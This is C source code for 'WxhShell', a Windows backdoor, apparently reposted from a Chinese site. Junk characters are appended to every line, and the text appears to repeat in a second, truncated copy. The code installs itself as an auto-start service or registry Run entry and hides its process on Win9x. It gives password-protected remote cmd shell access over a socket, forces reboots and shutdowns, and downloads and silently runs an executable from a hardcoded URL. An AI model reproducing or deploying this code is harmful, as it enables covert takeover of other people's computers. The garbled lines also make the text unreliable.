    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;?8Zr  
    else { y.Z_\@  
    closesocket(wsh); l= {Y[T&  
    ExitThread(0); j@4MV^F2c  
    } cW*v))@2  
    break; 7hk<{gnr  
    } ^Laqq%PI  
  // 获取shell e|k]te  
  case 's': { Zn9u&!T&  
    CmdShell(wsh); gKb,Vrt  
    closesocket(wsh); X.<3 /  
    ExitThread(0); f"7MYw\  
    break; qm=U<'b^  
  } h3`}{ w  
  // 退出 ,>B11Z}PH  
  case 'x': { Z )c\B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UNDl&C2vz  
    CloseIt(wsh); p$,G`'l  
    break; }#s{."  
    } Rw'}>?k]  
  // 离开 8&EJ. CQ  
  case 'q': { /l<(i+0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N}#Rw2Vl  
    closesocket(wsh); JU)^b V_  
    WSACleanup(); n3p@duC4  
    exit(1); )%^l+w+&  
    break; h\!8*e;RAW  
        } j sPavY  
  } i8?oe%9l  
  } ChK-L6  
(xo`*Q,+  
  // 提示信息 LAC&W;pJ"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !yv>e7g^  
} cAN!5?D\  
  } :E-$:\V0}k  
H4ie$/[$8  
  return; $IQPB_:  
} *6yY>LW  
fnq 3ic"V  
// shell模块句柄 ZiZ@3O6  
int CmdShell(SOCKET sock) 3t<a3"{9  
{ ]$ d ;P  
STARTUPINFO si; ~HIj+kN  
ZeroMemory(&si,sizeof(si)); [7}3k?42X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i+14!LlI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t"B3?<?]  
PROCESS_INFORMATION ProcessInfo; YC1Bgz  
char cmdline[]="cmd"; ?3~t%Q`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vb[0H{TT2  
  return 0; '9!_:3[d\]  
}  0J+WCm`  
S${%T$>  
// 自身启动模式 :fj>JF\[  
int StartFromService(void) vD8pVR+  
{ %%K3J<5  
typedef struct }Nr6oUn  
{ XncX2E4E  
  DWORD ExitStatus; t{c:<nN  
  DWORD PebBaseAddress; MiZ<v/L2  
  DWORD AffinityMask; ow'G&<0b  
  DWORD BasePriority; HrE,K\^  
  ULONG UniqueProcessId; )n)AmNpq   
  ULONG InheritedFromUniqueProcessId; X{x(p  
}   PROCESS_BASIC_INFORMATION; ;h1hz^Wq  
Tz)Ku  
PROCNTQSIP NtQueryInformationProcess; |m KohV qr  
LF7 }gQs ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l :{q I#Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :m `D   
t*= nI $  
  HANDLE             hProcess; >c_fUX={  
  PROCESS_BASIC_INFORMATION pbi; oJD]h/fQs  
/W .s1N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9}QIqH\p  
  if(NULL == hInst ) return 0; z6)N![ X  
UJ,vE}=_{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oaQW~R`_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (eF[nfM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QcrhgR  
'ge$}L}4  
  if (!NtQueryInformationProcess) return 0; 9 C)VW  
O1~7#nJ*4[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |@_<^cV110  
  if(!hProcess) return 0; ng/h6 S  
Q~(Qh_Ff  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7C'@g)@^/  
y7/4u-_c  
  CloseHandle(hProcess); ?;o0~][!  
4L,wBce;,t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - BWf.  
if(hProcess==NULL) return 0; <cOjtq,0  
{XIpH r  
HMODULE hMod; *` mxv0w~(  
char procName[255]; q6pHL  
unsigned long cbNeeded; 8KJ`+"<=@  
' ds2\gN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .u\$wJ9Ai  
(.=ig X  
  CloseHandle(hProcess); 7>z {2D  
J;~YD$  
if(strstr(procName,"services")) return 1; // 以服务启动 Aa_@&e  
[;Ih I  
  return 0; // 注册表启动 T;3qE1c  
} FS 5iUH+5  
=~JVU  
// 主模块 iDcTO}  
int StartWxhshell(LPSTR lpCmdLine) adu6`2 *$  
{ gs!'*U)  
  SOCKET wsl; oUn+tu:  
BOOL val=TRUE; J-/w{T8:  
  int port=0; 9{4oz<U  
  struct sockaddr_in door; 8x- 19#  
/:]<z6R  
  if(wscfg.ws_autoins) Install(); c/ImK`:)4a  
cz,CL/rno  
port=atoi(lpCmdLine); mxZ+r#|di  
{96MfhkeBv  
if(port<=0) port=wscfg.ws_port; :[+8(~| za  
8H-yT1  
  WSADATA data; c $r"q :\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E[#VWM I  
]&H"EHC<$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;%d<Uk?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EUs9BJFP  
  door.sin_family = AF_INET; :l"B NT[/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U"/T`f'H z  
  door.sin_port = htons(port); ^[.}DNR95(  
<[n:Ij  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 05{}@tW-  
closesocket(wsl); =v^#MU{k?  
return 1; C-S>'\ |8  
} k62s|VeU  
VoYL}67c  
  if(listen(wsl,2) == INVALID_SOCKET) { b-/QZvg  
closesocket(wsl); @5wc 3y  
return 1; "f 89   
} |hj!NhBe  
  Wxhshell(wsl); (/nnN4\=  
  WSACleanup(); DzMg^Kp  
E9mu:T  
return 0; h2x9LPLBxT  
baD063P;  
} *Sdx:G~gp  
9,~7,Py}  
// 以NT服务方式启动 }wRm ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @gb W:  
{ IV!`~\@  
DWORD   status = 0; a9;KS>~bq  
  DWORD   specificError = 0xfffffff; OQfFS+6  
hFm^Fy[R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~C^:SND7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G=[<KtWa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -a@e28Y  
  serviceStatus.dwWin32ExitCode     = 0; 3QBzyJW f  
  serviceStatus.dwServiceSpecificExitCode = 0; ,ja!OZ0$  
  serviceStatus.dwCheckPoint       = 0; RtR@wZ2\s  
  serviceStatus.dwWaitHint       = 0; o}G`t Bz  
niCK(&z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2DPv7\fW  
  if (hServiceStatusHandle==0) return; 'u x!:b"  
`1P|<VbZ  
status = GetLastError(); $%cHplQz5  
  if (status!=NO_ERROR) i,^3aZwJ'  
{ 6\I^]\YO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $adZ|Q\  
    serviceStatus.dwCheckPoint       = 0; B(1-u!pz  
    serviceStatus.dwWaitHint       = 0; O6/ vFEB  
    serviceStatus.dwWin32ExitCode     = status; q\?p' i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~IW{^u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z" ;q w  
    return; G3:!]}  
  } OFtf)cGE  
 '4{=x]K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aOd#f:{y  
  serviceStatus.dwCheckPoint       = 0; <-?C\c~G@  
  serviceStatus.dwWaitHint       = 0; iii|;v ]+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z5(9=8hB/  
} wHs1ge(  
ws9IO ?|&G  
// 处理NT服务事件,比如:启动、停止 X uE: dL?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XfE9QA[  
{ R+NiIoa  
switch(fdwControl) Ws|`E `6O  
{ P #! N  
case SERVICE_CONTROL_STOP: gZ^Qt.6Z  
  serviceStatus.dwWin32ExitCode = 0; QPB,B>Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N8pL2y:R[P  
  serviceStatus.dwCheckPoint   = 0; \mh #MMp  
  serviceStatus.dwWaitHint     = 0; 5z 0VMt  
  { G`n $A/9Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -O\i^?lD;  
  } nyi!D   
  return; tXtNK2-1  
case SERVICE_CONTROL_PAUSE: 8O]`3oa>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z mip  
  break; 4zS0kk;+  
case SERVICE_CONTROL_CONTINUE: =[]6NjKS,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ciODTq?  
  break; 3E*m.jX  
case SERVICE_CONTROL_INTERROGATE: [s[ZOi!;I  
  break; 2H4vK]]Nl  
}; RV  V`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i:aW .QZ.  
} v5'`iO0o  
G*+^b'7  
// 标准应用程序主函数 mTI`^e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k2v:F  
{ :1UMA@HP  
YS^!'IyG/B  
// 获取操作系统版本 O_1[KiZ  
OsIsNt=GetOsVer(); X8ap   
GetModuleFileName(NULL,ExeFile,MAX_PATH); b v_ UroTr  
A`Dx]y  
  // 从命令行安装 HQm_ K0$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?MRY*[$  
p}JOiiHa  
  // 下载执行文件 I<940PZ  
if(wscfg.ws_downexe) { Tp;W4]'a*:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4{kH;~ z$  
  WinExec(wscfg.ws_filenam,SW_HIDE); At:8+S<?A  
} ?'P}ZC8P  
<r: AJ;  
if(!OsIsNt) { B%;MGb o  
// 如果时win9x,隐藏进程并且设置为注册表启动 c$V5E t  
HideProc(); [y@*vQw  
StartWxhshell(lpCmdLine); a,vS{434J  
} iv$YUM+  
else i$E [@  
  if(StartFromService()) T3P9  
  // 以服务方式启动 KCTX2eNN&h  
  StartServiceCtrlDispatcher(DispatchTable); V#dga5*]  
else  '?9zL*  
  // 普通方式启动 h[]9F.[  
  StartWxhshell(lpCmdLine); aq$ hE-{28  
:/|"db&`  
return 0; RA[j=RxK  
} V+Tv:a  
uem-fTG  
).5 X  
-Ty~lZ)TDT  
=========================================== !} TsFa  
kh0cJE\_^  
4uIYX  
EpAgKzVpJ  
Z71m(//*}  
*(Dmd$|0|  
" u)0I$Tc"  
_h!.gZB3  
#include <stdio.h> N;|^C{uz  
#include <string.h> sWYnoRxu  
#include <windows.h> TsTc3  
#include <winsock2.h> b4_0XmL  
#include <winsvc.h> |[>@Kk4  
#include <urlmon.h> <PpvVDy3  
:ZrJL&  
#pragma comment (lib, "Ws2_32.lib") T-%=tY+-  
#pragma comment (lib, "urlmon.lib") *XTd9E^tXq  
|EE1S{!24m  
#define MAX_USER   100 // 最大客户端连接数 6^Wep- $  
#define BUF_SOCK   200 // sock buffer &|>~7(  
#define KEY_BUFF   255 // 输入 buffer g5B TZZ  
SQ>i:D;  
#define REBOOT     0   // 重启 SL4?E<Jb  
#define SHUTDOWN   1   // 关机 qG6s.TcG  
sP(+Z^/  
#define DEF_PORT   5000 // 监听端口 5Ml=<^  
HK!ecQ^+  
#define REG_LEN     16   // 注册表键长度 7s(tAbPdB  
#define SVC_LEN     80   // NT服务名长度 92DM1~ *  
ss)x fG  
// 从dll定义API f4f2xe7\Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S!b18|o"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s/D)X=P1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .hat!Tt9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "@UQSf,  
vamZKm~p  
// wxhshell配置信息 ~gfR1SE  
struct WSCFG { >c,s}HJ  
  int ws_port;         // 监听端口 AYbO~_a\N  
  char ws_passstr[REG_LEN]; // 口令 eQbHf  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Y%6y]8  
  char ws_regname[REG_LEN]; // 注册表键名 y"q aa  
  char ws_svcname[REG_LEN]; // 服务名 [r/zBF-.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lgOAc,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _>- D*l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (9'^T.J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7{|QkTgC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sAkr-x?+M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J$3g3%t  
@ma(py  
}; kTvM,<  
D4=*yP  
// default Wxhshell configuration 79h~w{IT@  
struct WSCFG wscfg={DEF_PORT, mOE *[S)  
    "xuhuanlingzhe", .;?!I_`  
    1, eTuqK23  
    "Wxhshell", z K<af  
    "Wxhshell", g":[rXvId  
            "WxhShell Service", ?%s>a8w  
    "Wrsky Windows CmdShell Service", A'|!O:s   
    "Please Input Your Password: ", BN_h3|)  
  1, |9I)YD  
  "http://www.wrsky.com/wxhshell.exe", [oLV,O|s|j  
  "Wxhshell.exe" ^po@U"  
    }; gF)9a_R%p  
"%-Vrb=:Y  
// 消息定义模块 wX,V:QE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <g[z jV9p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %nZl`<M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z?axrGmg0  
char *msg_ws_ext="\n\rExit."; hS]w A"\87  
char *msg_ws_end="\n\rQuit."; ~G!JqdKJ0  
char *msg_ws_boot="\n\rReboot..."; YlHP:ZW-cu  
char *msg_ws_poff="\n\rShutdown..."; WK>F0xMs1  
char *msg_ws_down="\n\rSave to "; A lU^ ,X  
,;)ZF  
char *msg_ws_err="\n\rErr!"; J Wn26,  
char *msg_ws_ok="\n\rOK!"; fvkcJwkc  
Mbi]EZ  
char ExeFile[MAX_PATH];  ?%,NOX  
int nUser = 0; *G19fJ[5  
HANDLE handles[MAX_USER]; = S&`~+  
int OsIsNt; C?<pD+]b_  
Q.mJ7T~T  
SERVICE_STATUS       serviceStatus; /at7 H!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qkb'@f=  
NX @FUct;  
// 函数声明 PMzPj,  
int Install(void); O `}EiyV  
int Uninstall(void); L44m!%q  
int DownloadFile(char *sURL, SOCKET wsh); I.<c{4K5  
int Boot(int flag); 2{OR#v~  
void HideProc(void); P6:C/B  
int GetOsVer(void); OviS(}v4@  
int Wxhshell(SOCKET wsl); )kD/ 8  
void TalkWithClient(void *cs); CKsVs.:u  
int CmdShell(SOCKET sock); -pC8 L<  
int StartFromService(void); h@:K=gg K  
int StartWxhshell(LPSTR lpCmdLine); Zj`WRH4  
:KLXrr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xA] L0h]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]?Ef0?44  
&gXh:.  
// 数据结构和表定义 4QL>LK  
SERVICE_TABLE_ENTRY DispatchTable[] = f[^f/jGm  
{ K+B978XD  
{wscfg.ws_svcname, NTServiceMain}, %Sr+D{B  
{NULL, NULL} 7},A. q  
}; =CX1jrLZ  
^kez]>   
// 自我安装 K@D\5s|1|  
int Install(void) )#=J<OpG  
{ ]\$/:f-2  
  char svExeFile[MAX_PATH]; +# W94s~0V  
  HKEY key; {MUB4-@?F$  
  strcpy(svExeFile,ExeFile); r~4uIUE{  
7u):J  
// 如果是win9x系统,修改注册表设为自启动 zzqJeIS  
if(!OsIsNt) { Uzu6>yT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [M?2axOC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HgI!q<)  
  RegCloseKey(key); x]~TGzS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w0pMH p'Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WyL+HB}  
  RegCloseKey(key); zG!nqSDG  
  return 0; dAo;y.3  
    } Rj8%% G-pt  
  } P]_d;\ !"v  
} 2eT?qCxqc  
else { dUI5,3*  
MmuT~d/  
// 如果是NT以上系统,安装为系统服务 kB\{1;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E~'mxx~i  
if (schSCManager!=0) / HTY>b  
{ ()3\(d5e  
  SC_HANDLE schService = CreateService A'WR!*Yt  
  ( .g*j]!_]  
  schSCManager, bOS)vt*V  
  wscfg.ws_svcname, MK$u }G  
  wscfg.ws_svcdisp, 'M90Yia  
  SERVICE_ALL_ACCESS, sp9gz~Kq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QLA.;`HIE  
  SERVICE_AUTO_START, bz>X~   
  SERVICE_ERROR_NORMAL,  {_rfhz  
  svExeFile, $6hPTc<C  
  NULL, =YO ]m<  
  NULL, 5j%G7.S\  
  NULL, 6 SSDc/  
  NULL, \l%xuT  
  NULL AOf4y&B>q  
  ); 6*OL.~WE  
  if (schService!=0) NkE0S`Xf  
  { wT1s;2%  
  CloseServiceHandle(schService); k9|5TLXq?  
  CloseServiceHandle(schSCManager); ]I*c:(qwu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `?Rq44=  
  strcat(svExeFile,wscfg.ws_svcname); U$rMZk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yo-}uTkw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e|~MJu+1  
  RegCloseKey(key); XR5KJl  
  return 0; Xlo7enzY  
    } 5E:$\z;  
  } 5of3&  
  CloseServiceHandle(schSCManager); zM0NRERi  
} =W(*0"RM  
} B5e9'X^ [  
p6VD*PT$&  
return 1; Z6jEj9?O  
} Mf}M/Fh  
?GhyVXS y.  
// 自我卸载 8~sP{V%  
int Uninstall(void) )8Va%{j  
{ 9 _d2u#  
  HKEY key; }x8!{Y#cF  
lOIk$"Ne  
if(!OsIsNt) { >4 OXG7.&f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ao(T81  
  RegDeleteValue(key,wscfg.ws_regname); ~MpikBf  
  RegCloseKey(key); ;"3B,Yj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k3\N.@\  
  RegDeleteValue(key,wscfg.ws_regname); D}-.<  
  RegCloseKey(key); XQ}Zr/f6  
  return 0; Fsx?(?tCMo  
  } 4 1_gak;  
} *O?c~UJhhV  
} _n&Nw7d2 M  
else { ngY%T5-  
n,la<N]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bq0 \T 0,  
if (schSCManager!=0) /--p#Gh'  
{ t6+m` Kq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gk]QR.  
  if (schService!=0) \-<BUG]=  
  { c:[k+_Zr  
  if(DeleteService(schService)!=0) { V+d_1] l  
  CloseServiceHandle(schService); U"oNJ8&%|  
  CloseServiceHandle(schSCManager); |WS)KR !  
  return 0; n*4`Tduu^  
  } FLZ9pb[T  
  CloseServiceHandle(schService); }D/+YG  
  } 0=d2_YzSf  
  CloseServiceHandle(schSCManager); "S#F I  
} ^?z%f_ri  
} Tt;F-  
Zg;$vIhn  
return 1; f60w%  
} Iv`IJQH>  
8:cbr/F<  
// 从指定url下载文件 ">A<%5F2  
int DownloadFile(char *sURL, SOCKET wsh) 5&Oc`5QD  
{ 4aayMS !#  
  HRESULT hr; Hl*vS  
char seps[]= "/"; Cu"Cpt[  
char *token; .nV2 n@SR  
char *file; >J"IN I  
char myURL[MAX_PATH]; DA=!AK>  
char myFILE[MAX_PATH]; ,'#TdLe  
7y=>Wa?T[  
strcpy(myURL,sURL); E-LkP;  
  token=strtok(myURL,seps); Ob d n#Wm=  
  while(token!=NULL) $JE,u' JQ  
  { )7q$PcY  
    file=token; [B0 BHJ~  
  token=strtok(NULL,seps); Sn CwoxK  
  } OATdmHW  
Uj@th  
GetCurrentDirectory(MAX_PATH,myFILE); ?u|??z%  
strcat(myFILE, "\\");  7WJ \nK  
strcat(myFILE, file); j0=6B  
  send(wsh,myFILE,strlen(myFILE),0); {>&~kM@  
send(wsh,"...",3,0); [m~J6WB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .6?"<zdPU  
  if(hr==S_OK) igO>)XbsM  
return 0; MDMd$] CW  
else Lx"GBEkt7  
return 1; lH-VqkR\  
)m%uSSx#  
} %1z;l.c  
MqmQ52HR  
// 系统电源模块 Z~'t'.=z  
int Boot(int flag) ,GbmL8P7Y  
{  56.!L  
  HANDLE hToken; 0.GFg${v`  
  TOKEN_PRIVILEGES tkp; z2=bbm:  
V>6klA}o  
  if(OsIsNt) { F^ q{[Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4vhf!!1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  MlO OB  
    tkp.PrivilegeCount = 1; -Cf)`/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }$6L]   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oOFTQB_6  
if(flag==REBOOT) { ]8$8QQc<<5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;\MWxh,K  
  return 0; XqH@3Ehk  
} ^W |YE72Y  
else { kUT2/3Vi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K;K0D@>]HR  
  return 0; 6Yai?*.Q  
} ;?h[WIy  
  } LG}{ibB  
  else { xJq|,":gj  
if(flag==REBOOT) { q8 v iC|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9#8vPjXW}.  
  return 0; l{By]S  
} ?d')#WnC  
else { +NlnK6T/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F>;Wbk&[|  
  return 0; d)%WaM%V  
} SX4*804a_  
} 4,RPidv%O  
E^8|xT'h6  
return 1; xd Z$|{,  
} Z)!8a$M~  
i'Y8-})  
// win9x进程隐藏模块 =NB[jQ :(  
void HideProc(void) lyn%r  
{ TrI+F+;  
R'BB-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h5?^MRZS  
  if ( hKernel != NULL ) c3]t"TA,  
  { 0R x#Fm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ?kjQ_K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^WA7X9ed  
    FreeLibrary(hKernel); F^,:p.ihm<  
  } $]7f1U_e  
Mj0 ,Y#=76  
return; ZmK=8iN9J  
} +eVYy_bL-  
1tuvJ+`{  
// 获取操作系统版本 bWSN]]e1#  
int GetOsVer(void) 8SRR)O[)}  
{ n 0!8)Sth  
  OSVERSIONINFO winfo; xoZ m,Pxd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~nZcA^b#DQ  
  GetVersionEx(&winfo); 5xH=w:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "*vrrY  
  return 1; 6w.E Sm  
  else {Jn0G;  
  return 0; wt($trJ  
} ==Gc%  
4uF.kz-cg  
// 客户端句柄模块 --h\tj\U  
int Wxhshell(SOCKET wsl) ^ h=QpH  
{ 2D 4,#X  
  SOCKET wsh; ch i=]*9  
  struct sockaddr_in client; SYJO3cY  
  DWORD myID; -()WTdIy  
c~0kZA6  
  while(nUser<MAX_USER) ~aC ?M&  
{ 7# AIX],  
  int nSize=sizeof(client); J4bP(=w!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NcA `E_3  
  if(wsh==INVALID_SOCKET) return 1; ljFq;!I5  
%=**cvVy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zlMh^+rMX  
if(handles[nUser]==0) .n:Q~GEL  
  closesocket(wsh); sXVl4!=l6  
else \Vc[/Qp7Bb  
  nUser++; rr# nBhh8  
  } 9r%fBiSk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t]K20(FSN  
B{Q}^Mcxy  
  return 0; <rC%$tr  
} o.KnDY  
]4aPn  
// 关闭 socket s`yzeo  
void CloseIt(SOCKET wsh) w8lrpbLh  
{ -K|1w'E  
closesocket(wsh); ly[yn{  
nUser--; r]9-~1T  
ExitThread(0); WNR]GI  
} vF\>;pcT  
O_QDjxj^rZ  
// 客户端请求句柄 ,gV#x7IW  
void TalkWithClient(void *cs) z'l$;9(y  
{ M9)4ihK  
Wf c/?{  
  SOCKET wsh=(SOCKET)cs; v[L+PD U  
  char pwd[SVC_LEN]; a (U52dO,  
  char cmd[KEY_BUFF]; *\ii +f-  
char chr[1]; I`_2Q:r  
int i,j; (%_X{R'  
f:Pl Mv!{  
  while (nUser < MAX_USER) { 8eqTA8$?  
T Q41i/{  
if(wscfg.ws_passstr) { ElO|6kOBYG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?G`m;S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _E '?U  
  //ZeroMemory(pwd,KEY_BUFF); CL0 lMZ  
      i=0; -A#p22D,5  
  while(i<SVC_LEN) { kcS7)"/ zC  
i1evB9FZ1z  
  // 设置超时 ?LMQz=  
  fd_set FdRead; y._'o7%  
  struct timeval TimeOut; dD,}i$  
  FD_ZERO(&FdRead); bi8_5I[  
  FD_SET(wsh,&FdRead); qU26i"GHp  
  TimeOut.tv_sec=8; !Z_+H<fi+I  
  TimeOut.tv_usec=0; e!6yxL*[@[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ebA95v`Vms  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $+j1^  
 X}(s(6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nu7>G  
  pwd=chr[0]; &S4*x|-C&  
  if(chr[0]==0xd || chr[0]==0xa) { Fk=SkS ky  
  pwd=0; ;nSF\X(;{  
  break; py;p7y!gxA  
  } E#!N8fQ  
  i++; B*tYp  
    } c64^u9  
@)>Z+g  
  // 如果是非法用户,关闭 socket h,c*:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )<5k+O~  
} )j;^3LiV3  
=p+n(C/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W&5/1``u\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _X#Rv2a  
L[<#>/NPy  
while(1) { ,HP }}K+S  
^E^`"  
  ZeroMemory(cmd,KEY_BUFF); ZLjAhd)  
3(e_2v  
      // 自动支持客户端 telnet标准   [9sEc  
  j=0; G&S2U=KdV%  
  while(j<KEY_BUFF) { L{1sYR%s\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t:2DB)  
  cmd[j]=chr[0]; $udhTI#,  
  if(chr[0]==0xa || chr[0]==0xd) { 44KoOY_  
  cmd[j]=0; N3"JouP  
  break; <0d2{RQ;  
  }  G*z\ ^H  
  j++; qyM/p.mP  
    } J>(X0@eWz  
TuQGF$n@  
  // 下载文件 xM%4/QE+  
  if(strstr(cmd,"http://")) { tp`1S+'~j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z}E_ wg  
  if(DownloadFile(cmd,wsh)) )$]lf }  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4r(0+SO  
  else o 2 ng  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vM/*S 6[  
  } W6<oy  
  else { %,bD| NKp  
- rO34l  
    switch(cmd[0]) { Db"mq'vT  
  %:aXEjm@  
